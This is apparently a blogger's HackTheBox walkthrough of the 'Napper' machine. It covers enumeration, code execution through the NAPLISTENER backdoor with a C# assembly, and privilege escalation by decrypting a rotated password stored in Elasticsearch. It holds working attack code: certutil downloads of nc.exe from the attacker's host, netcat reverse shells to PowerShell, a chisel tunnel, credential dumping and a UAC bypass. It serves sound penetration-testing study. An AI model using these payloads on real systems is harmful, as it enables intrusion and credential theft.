HackTheBox | Napper

In this walkthrough, I demonstrate how I obtained complete ownership of Napper on HackTheBox
HackTheBox | Napper
In: HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Fri Feb 23 23:45:12 2024 as: nmap -Pn -p- --min-rate 2000 -A -oN nmap.txt 10.10.11.240
Nmap scan report for 10.10.11.240
Host is up (0.16s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://app.napper.htb
|_http-server-header: Microsoft-IIS/10.0
443/tcp open  ssl/http Microsoft IIS httpd 10.0
| tls-alpn: 
|_  http/1.1
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_ssl-date: 2024-02-24T04:46:34+00:00; -8s from scanner time.
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:app.napper.htb
| Not valid before: 2023-06-07T14:58:55
|_Not valid after:  2033-06-04T14:58:55
|_http-generator: Hugo 0.112.3
|_http-title: Research Blog | Home 
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -8s

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   306.91 ms 10.10.14.1
2   309.01 ms 10.10.11.240

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 23 23:46:42 2024 -- 1 IP address (1 host up) scanned in 89.92 seconds

We can see app.napper.htb in the HTTP redirect, so let's go ahead and add that to our /etc/hosts file.

echo '10.10.11.240        app.napper.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/443

Gobuster Enumeration

Directory and File Enumeration

gobuster dir -k -u https://app.napper.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html,asp,aspx,txt -o gobuster-443.txt -t 100

Virtual Host Enumeration

gobuster vhost -k --domain napper.htb --append-domain -u https://10.10.11.240 -w /usr/share/dnsrecon/subdomains-top1mil.txt -t 20 -o vhost.txt --exclude-length 334

Let's get this new virtual host added to our /etc/hosts file.

echo '10.10.11.240        internal.napper.htb' | sudo tee -a /etc/hosts



internal.napper.htb

Looks like it's protected behind HTTP Basic authentication
Finding a Valid Credential

We don't have a credential, so let's hunt around on app.napper.htb (and elsewhere) for some potential leads.

Interesting articles about HTTP Basic authentication

In Step 6 we can see the username example and password ExamplePassword. And, I'm sure you're thinking, "There's no way that's the actual login," but we should certainly give it a try.

The HTTP 200 means we're in!

Authorization: Basic ZXhhbXBsZTpFeGFtcGxlUGFzc3dvcmQ=



Exploring the Site Contents
Ruben may be a potential username down the road

It seems like there may be a way to achieve code execution on the target based on the malware assessment and indications that the malware sample may be running locally.

This means that any web request to /ews/MsExgHealthCheckd/ that contains a base64-encoded .NET assembly in the sdafwe3rwe23 parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.



Finding the Sandbox

The malware research article on internal.napper.htb indicates that the malware is being hosted in a sandbox. I suspect this host name will be sandbox.napper.htb.

echo '10.10.11.240        sandbox.napper.htb' | sudo tee -a /etc/hosts

If we reference the malware research linked in the References section of the internal article, we can better understand how to know when we've found the correct server name and page.

NAPLISTENER: more bad dreams from developers of SIESTAGRAPH — Elastic Security Labs
Elastic Security Labs observes that the threat behind SIESTAGRAPH has shifted priorities from data theft to persistent access, deploying new malware like NAPLISTENER to evade detection.

To summarize:

  • To hide itself, the malware will respond with a generic HTTP 404 response when an unexpected request is received, and with the Server header of Microsoft-IIS/10.0
  • The malware is expecting a HTTP POST request to /ews/MsExgHealthCheckd/?sdafwe3rwe23 on the server name where the malware is listening. The sdafwe3rwe parameter is expecting a base64-encoded .NET assembly as input and the .NET assembly should contain a Run method
  • If the malware receives a HTTP POST request to /ews/MsExgHealthCheckd/?sdafwe3rwe23 with data in the POST body, it will parse the data and flush. It will also respond with a Server header of Microsoft-IIS/10.0 Microsoft-HTTPAPI/2.0.
  • We'll know we've found the correct hostname and path when we see Server: Microsoft-IIS/10.0 Microsoft-HTTPAPI/2.0 upon sending a HTTP POST request
Seems it will return the altered headers even on a HTTP GET request



Exploit

Testing Command Execution

💡
I'm not a skilled C# developer, so I relied heavily on ChatGPT and Bing AI to create and debug this script. It went through many iterations to get to this point.

This .NET assembly will spawn a process with arguments. In this case, spawn ping with my HackTheBox VPN IP address as the argument. Since my file is named sh.cs, I'll want my namespace to match the file name at compile.

sh.cs

using System;
using System.Diagnostics;

namespace sh
{
    public class Run
    {
        public Run()
        {
            try
            {
                // Create process start info
                ProcessStartInfo psi = new ProcessStartInfo();
                psi.FileName = "ping"; // Command to execute
                psi.Arguments = "10.10.14.39"; // IP address to ping
                psi.RedirectStandardOutput = true;
                psi.UseShellExecute = false;
                psi.CreateNoWindow = true;

                // Start the process
                using (Process process = Process.Start(psi))
                {
                    // Read the output (ping results)
                    using (System.IO.StreamReader reader = process.StandardOutput)
                    {
                        string result = reader.ReadToEnd();
                        Console.WriteLine(result);
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine($"An error occurred: {ex.Message}");
            }
        }

        public static void Main()
        {
            new Run();
        }

    }

} 

To compile the app, we can use the mcs tool found in mono-devel.

sudo apt install -y mono-devel
mcs -out:sh.exe sh.cs
payload=$(base64 -w 0 sh.exe)

Install mono-devel and compile

sudo tcpdump -ni tun0 icmp

Start tcpdump to listen for ICMP requests

curl -X POST -i -s -k 'https://sandbox.napper.htb/ews/MsExgHealthCheckd/' --data-urlencode "sdafwe3rwe23=$payload"

Use curl to encode and send the payload as a HTTP POST request



Reverse Shell

sh.cs

using System;
using System.Diagnostics;

namespace sh
{
    public class Run
    {
        public Run()
        {
            try
            {
                // Create process start info
                ProcessStartInfo psi = new ProcessStartInfo();
                psi.FileName = "certutil"; // Command to execute
                psi.Arguments = "-f -split -urlcache http://10.10.14.39/nc.exe C:\\Windows\\Tasks\\nc.exe"; // IP address to ping
                psi.RedirectStandardOutput = true;
                psi.UseShellExecute = false;
                psi.CreateNoWindow = true;

                // Start the process
                using (Process process = Process.Start(psi))
                {
                    // Read the output (ping results)
                    using (System.IO.StreamReader reader = process.StandardOutput)
                    {
                        string result = reader.ReadToEnd();
                        Console.WriteLine(result);
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine($"An error occurred: {ex.Message}");
            }
    
            try
            {
                // Create process start info
                ProcessStartInfo psi = new ProcessStartInfo();
                psi.FileName = "C:\\Windows\\Tasks\\nc.exe"; // Command to execute
                psi.Arguments = "10.10.14.39 443 -e powershell.exe"; // IP address to ping
                psi.RedirectStandardOutput = true;
                psi.UseShellExecute = false;
                psi.CreateNoWindow = true;

                // Start the process
                using (Process process = Process.Start(psi))
                {
                    // Read the output (ping results)
                    using (System.IO.StreamReader reader = process.StandardOutput)
                    {
                        string result = reader.ReadToEnd();
                        Console.WriteLine(result);
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine($"An error occurred: {ex.Message}");
            }
        }

        public static void Main()
        {
            new Run();
        }

    }

} 





Post-Exploit Enumeration

Operating Environment

OS & Kernel

Host Name:                 NAPPER
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19045 N/A Build 19045
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          ruben
Registered Organization:   
Product ID:                00330-80112-18556-AA262
Original Install Date:     6/7/2023, 12:21:37 PM
System Boot Time:          4/17/2024, 11:49:24 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2295 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.16707776.B64.2008070230, 8/7/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume2
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 1,593 MB
Virtual Memory: Max Size:  4,799 MB
Virtual Memory: Available: 2,300 MB
Virtual Memory: In Use:    2,499 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0 2
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.11.240
                                 [02]: fe80::9bc5:77d9:9d6d:409e
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.    

Current User

USER INFORMATION
----------------

User Name    SID                                           
============ ==============================================
napper\ruben S-1-5-21-1567175541-2888103920-4161894620-1001


GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes                                        
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH                   Well-known group S-1-5-3      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288                                                   


PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State   
========================================= ================================================================== ========
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled 
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled

ERROR: Unable to get user claims information.   



Users and Groups

Local Users

User accounts for \\NAPPER

-------------------------------------------------------------------------------
Administrator            backup                   DefaultAccount           
example                  Guest                    ruben                    
WDAGUtilityAccount    

Local Groups

Aliases for \\NAPPER

-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Administrators
*Backup Operators
*Cryptographic Operators
*Device Owners
*Distributed COM Users
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Power Users
*Remote Desktop Users
*Remote Management Users
*Replicator
*System Managed Accounts Group
*Users    



Network Configurations

Network Interfaces

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::9bc5:77d9:9d6d:409e%10
   IPv4 Address. . . . . . . . . . . : 10.10.11.240
   Subnet Mask . . . . . . . . . . . : 255.255.252.0
   Default Gateway . . . . . . . . . : 10.10.10.2    

Open Ports

  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       900
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       5356
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       668
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       536
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1096
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1520
  TCP    0.0.0.0:61807          0.0.0.0:0              LISTENING       660
  TCP    10.10.11.240:139       0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:9200         0.0.0.0:0              LISTENING       4880
  TCP    127.0.0.1:9300         0.0.0.0:0              LISTENING       4880
  TCP    [::]:135               [::]:0                 LISTENING       900
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:49664             [::]:0                 LISTENING       668
  TCP    [::]:49665             [::]:0                 LISTENING       536
  TCP    [::]:49666             [::]:0                 LISTENING       1096
  TCP    [::]:49667             [::]:0                 LISTENING       1520
  TCP    [::]:61807             [::]:0                 LISTENING       660    



Processes and Services

Interesting Processes

Name        : powershell.exe
Owner       : 
CommandLine : "powershell.exe" -File C:\Users\ruben\AppData\System32\iis.ps1
    
Name        : RunA.exe
Owner       : 
CommandLine : c:\users\ruben\appdata\System32\RunA.exe  C:\Users\ruben\AppData\Local\Temp\tmp2FAB.tmp

Name        : elasticsearch-service-x64.exe
Owner       : 
CommandLine :



Scheduled Tasks

Interesting Scheduled Tasks

TaskName:                             \iisHelper
Task To Run:                          powershell.exe -File C:\Users\ruben\AppData\System32\iis.ps1
Run As User:                          ruben



Interesting Files

C:\Temp\www\internal\content\posts\no-more-laps.md

---
title: "**INTERNAL** Getting rid of LAPS"
description: Replacing LAPS with out own custom solution
date: 2023-07-01
draft: true 
tags: [internal, sysadmin] 
---

# Intro

We are getting rid of LAPS in favor of our own custom solution. 
The password for the `backup` user will be stored in the local Elastic DB.

IT will deploy the decryption client to the admin desktops once it it ready. 

We do expect the development to be ready soon. The Malware RE team will be the first test group.    

C:\Temp\www\internal\content\posts\internal-laps-alpha\.env

ELASTICUSER=user
ELASTICPASS=DumpPassword\$Here

ELASTICURI=https://127.0.0.1:9200    



Privilege Escalation

Looking at the all of the information gathered from post-exploit enumeration, it was quite obvious that the next move involved Elasticsearch running on tcp/9200. I've had some experience with the Elastic stack, due to playing around with SIEM solutions in my home lab.

Port Forwarding

Chisel Reverse SOCKS5 Proxy

For this task, I am going to be using the chisel binary. I have a nice overview of different port forwarding scenarios here in my notes.

Port Forwarding with C... | 0xBEN | Notes
GitHub Download from the Releases Page Usage Requires a copy of the Chisel binary on: The ta…
💡
I am also going to be using the download_chisel() function that I wrote in my notes to download the latest version of chisel
sudo python3 -m http.server 80

Serve the chisel.exe binary over HTTP

iwr -useb 'http://10.10.14.2/chisel.exe' -o C:\Windows\Tasks\chisel.exe

Download chisel.exe to the target

sudo ./chisel server --port 8081 --reverse &

Start chisel on Kali in reverse port forwarding

# Use a PowerShell job to run chisel.exe in the background
# Connects to chisel server 10.10.14.2:8081
# Running in reverse SOCKS mode to facilitate multiple ports

$scriptBlock = { Start-Process C:\Windows\Tasks\chisel.exe -ArgumentList @('client','10.10.14.2:8081','R:58080:socks') }
Start-Job -ScriptBlock $scriptBlock
Reverse SOCKS5 proxy has been established
sudo nano /etc/proxychains4.conf

Edit your local proxychains configuration

[ProxyList]
socks5 127.0.0.1 58080

Add the socks5 proxy to proxychains

Add the SOCKS Proxy to Burp

Go to Proxy Settings > Network > Connections
⚠️
Disable the proxy when finished with the box ⚠️

This setting is persistent in Burp, so if you do not disable it and start up Burp next time, you'll likely be scratching your head wondering why Burp can't get to the internet
Set the SOCKS proxy and enable it



Exploring Elasticsearch

elastic:elastic credential did not work here
💡
I know that Elasticsearch indices are a stored locally, as I've had to go into my own Elastic servers and delete specific indices during troubleshooting. We may be able to pull some information from the raw data.
ls -recurse -file 'C:\Program Files\elasticsearch-8.8.0\data\indices' | Get-Content -ErrorAction SilentlyContinue | Select-String 'passw'

Dump the raw content from the indices and search for the string passw

I am quite certain that oKHzjZw0EGcRxT2cux5K is the password for the elastic user
Nice! The password worked!
9200 - Pentesting Elasticsearch | HackTricks | HackTricks

Use this as a reference to enumerate more with credentials

This seems to be the encrypted data stored in Elasticsearch
ℹ️
Try as we might, I don't see enough information in Elasticsearch to reasonably try and decrypt the data stored here. We can assume the seed was used to asymmetrically encrypt whatever data is stored in blob, which is stored as base64 in Elasticsearch for compatibility.

We're going to need to understand the inner-workings of the a.exe binary.



Transfer the Binary to Kali

sudo impacket-smbserver -smb2support evil .

Start a SMB server in the current directory

New-SmbMapping 'X:' \\10.10.14.2\evil

Map the SMB share on the target to X:

cp C:\Temp\www\internal\content\posts\internal-laps-alpha\* X:\

Copy the files to Kali



Analyze the Binary

This looks to be a compiled 32-bit Golang binary

Ghidra Binary Analysis

sudo apt install -y ghidra
ghidra &

Install Ghidra if not already installed and launch it

Go to Help > About Ghidra > Note your Ghidra version
Releases · mooncat-greenpy/Ghidra_GolangAnalyzerExtension
Analyze Golang with Ghidra. Contribute to mooncat-greenpy/Ghidra_GolangAnalyzerExtension development by creating an account on GitHub.

We'll load a Golang extension to enable better decompilation

My Ghidra application is at version 11.0, so I'll use this build
wget https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension/releases/download/1.2.3/ghidra_11.0_PUBLIC_20231228_GolangAnalyzerExtension.zip -O analyzer.zip

Save the file in the current directory as analyzer.zip

Go to File > Install Extensions
Click the green + icon
Select analyzer.zip and click OK
The extension should be available and checked. Click OK
Follow the instructions here, close and relaunch Ghidra
Go to File > New Project
Non-Shared Project
Choose your project directory and name
Go to File > Import File
Select the a.exe file wherever you've saved it
Accept the defaults
Double-click a.exe
Click 'Yes' > Click 'OK'
Click 'Yes'
Accept the default selections and choose 'Analyze'
⚠️
Be patient! This is going to take a bit. You can monitor the analysis progress in the bottom-right of the Ghidra CodeBrowser window.
We can search for the main entry point using the filter
Stepping through the main function, this is where the .env file is sourced in
This is where the Elastic client connects to the server and tries to retrieve the seed value
Call the main.randStringList, main.genKey, and main.encrypt functions to create a new password with the seed value
Get the current timestamp, and populate the JSON template with the new password and timestamp, also seems to be logged to a file somewhere
This bit right here...
Then, it looks as though the password is changed for the backup user as well
Double-click main.encrypt to open the function
Here, we can see that the encrypt function is using AES
It encrypts using AES CFB and base64-encodes the data in URL format



Building a Golang Decyptor

Here's what we know about the app based on the Ghidra analysis:

  • The main.genKey function generates an 8-digit seed to derive an AES-128-CFB encryption key
  • The main.encrypt function then generates the encryption key and encrypts the plaintext string into cipher text
  • The main.main function calls both of these functions and forms some JSON to send to Elasticsearch for storage
    • The seed and the encrypted blob are both stored in the database
💡
Even though there's nothing to imply a 128-bit cipher was used in the Ghidra analysis, my research leads me to believe that this is the case based on the standard configuration of Golang libraries
ℹ️
I also want to be completely transparent about my AI usage in my write-ups. I am neither a Golang developer nor a cryptography expert -- far from it. I used ChatGPT for developing the Golang code below.

ChatGPT Initial Prompt


I am reverse-engineering a binary written in Golang that encrypts a string using an AES CFB cipher. I want to share with you some information from Ghidra in hopes you might be able to assist.

Follow-Up Prompt


This is the encryption key generation function as reversed using Ghidra:

Paste contents from main.genKey in Ghidra into ChatGPT

Follow-Up Prompt


This is the encryption function as reversed using Ghidra:

Paste contents from main.encrypt in Ghidra into ChatGPT

Follow-Up Prompt


Now, here's the part I need your help with. I know the seed that was used to derive the encryption key. And, I have the ciphertext. Can you make a best effort to reconstruct the original main.genKey functions and main.encrypt, such that if give you the seed and the URL-safe base64-encoded ciphertext, you can write a Golang code snippet to derive another encryption key using the same seed and decrypt the URL-safe base64-encoded ciphertext?

Let me clarify that I do not need an encrypt function. I simply need to share with you the seed used to derive the AES CFB key, so that another encryption key can be derived and decrypt the URL-safe base64-encoded ciphertext.

Seed: paste_seed_here
Base64-encoded ciphertext: paste_base64_blob_here

ℹ️
I made one modification to the Golang code shown below. ChaptGPT sources in the crypto/rand library, but the a.exe binary uses math/rand, so I swapped that out due to errors

decrypt.go

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "math/rand"
    "encoding/base64"
    "fmt"
)

func genKey(seed int64) []byte {
    rand.Seed(seed)
    key := make([]byte, 16)
    for i := 0; i < 16; i++ {
        key[i] = byte(rand.Intn(0xfe) + 1)
    }
    return key
}

func decrypt(seed int64, ciphertext string) (string, error) {
    key := genKey(seed)
    block, err := aes.NewCipher(key)
    if err != nil {
        return "", err
    }

    decodedCiphertext, err := base64.URLEncoding.DecodeString(ciphertext)
    if err != nil {
        return "", err
    }

    iv := decodedCiphertext[:aes.BlockSize]
    decodedCiphertext = decodedCiphertext[aes.BlockSize:]

    plaintext := make([]byte, len(decodedCiphertext))
    cfb := cipher.NewCFBDecrypter(block, iv)
    cfb.XORKeyStream(plaintext, decodedCiphertext)

    return string(plaintext), nil
}

func main() {
    seed := int64(...) // Replace with the actual seed
    ciphertext := "..." // Replace with actual b64 ciphertext
    
    plaintext, err := decrypt(seed, ciphertext)
    if err != nil {
        fmt.Println("Decryption error:", err)
        return
    }
    fmt.Println("Decrypted plaintext:", plaintext)
}
‼️
Beware that the seed and blob rotate at regular intervals. So if you decrypt the ciphertext, but get a login error, refresh the page, update decrypt.go with the new seed and blog and try again.
curl -x socks5://127.0.0.1:58080 -u 'elastic:oKHzjZw0EGcRxT2cux5K' -ks 'https://127.0.0.1:9200/_search?pretty' | grep -E 'seed|blob'
# Update the seed in decrypt.go
curl -x socks5://127.0.0.1:58080 -u 'elastic:oKHzjZw0EGcRxT2cux5K' -ks 'https://127.0.0.1:9200/_search?pretty' | tr -d ' ' | grep '^"seed' | cut -d ':' -f 2 | xargs -I % sed -i -e 's/seed\ :=\ int64\(.*\)$/seed := int64(%)/g' decrypt.go

# Update blob in decrypt.go
curl -x socks5://127.0.0.1:58080 -u 'elastic:oKHzjZw0EGcRxT2cux5K' -ks 'https://127.0.0.1:9200/_search?pretty' | tr -d ' ' | grep blob | cut -d ':' -f 2 | sed -E 's/"|,//g' | xargs -I % sed -i -E -e 's/ciphertext\ :=\ ".*"/ciphertext := "%"/g' decrypt.go
Test the login



Lateral to Backup

Since I already have a copy of nc.exe on the box, I'll just use that to pivot to the backup user
Spawn Processes as Oth... | 0xBEN | Notes
RunasCs.exe Project GitHub https://github.com/antonioCoco/RunasCs/releases Example Usage Spawn P…
wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip
unzip RunasCs.zip

Download the binary to Kali

iwr -useb http://10.10.14.2/RunasCs.exe -o C:\Windows\Tasks\runas.exe

Download it to the target

sudo rlwrap nc -lnvp 443

Start a listener on Kali

C:\Windows\Tasks\runas.exe 'backup' 'wxzhuAyyKHmNDIElQQJliJZnqVQPcsmptLedskge' 'C:\Windows\Tasks\nc.exe 10.10.14.2 443 -e powershell.exe' --bypass-uac

Start nc.exe as the backup user on the target and connect to our TCP listener

Doing a quick check, we have read access to the Administrator's files



Flags

User

d5d29b66505183aa59402e833d512db3    

Root

a9985c6c07bc7ba61958e46483919699    
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.